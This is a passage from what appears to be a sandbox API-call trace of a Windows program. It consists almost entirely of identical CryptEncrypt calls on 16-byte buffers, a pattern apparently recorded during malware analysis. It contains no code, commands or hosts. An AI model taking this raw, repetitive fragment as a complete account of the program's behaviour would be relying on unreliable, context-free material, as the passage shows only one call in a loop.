dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.133] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.133] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.133] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.133] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.133] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.133] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.134] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.134] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.134] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.134] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.134] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.134] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.134] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.134] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.134] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.134] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.134] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.134] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.134] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.134] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.134] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.134] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.134] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.134] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.134] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.134] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.134] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.134] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.135] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.135] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.135] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.135] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.135] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.135] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.135] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.135] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.135] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.135] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.135] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.135] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.135] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.135] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.135] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.135] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.135] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.135] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.136] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.136] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.136] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.136] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.136] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.136] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.136] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.136] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.136] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.137] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.137] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.137] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.137] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.137] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.137] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.137] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.137] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.137] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.137] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.137] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.137] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.137] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.137] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.137] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.137] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.137] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.138] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.138] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.138] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.138] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.138] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.138] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.138] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.138] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.138] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.138] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.138] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.138] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.138] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.138] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.138] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.138] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.138] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.138] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.138] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.138] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.139] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.139] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.139] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.139] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.139] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.139] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.139] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.139] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.139] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.139] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.139] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.139] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.139] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.139] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, 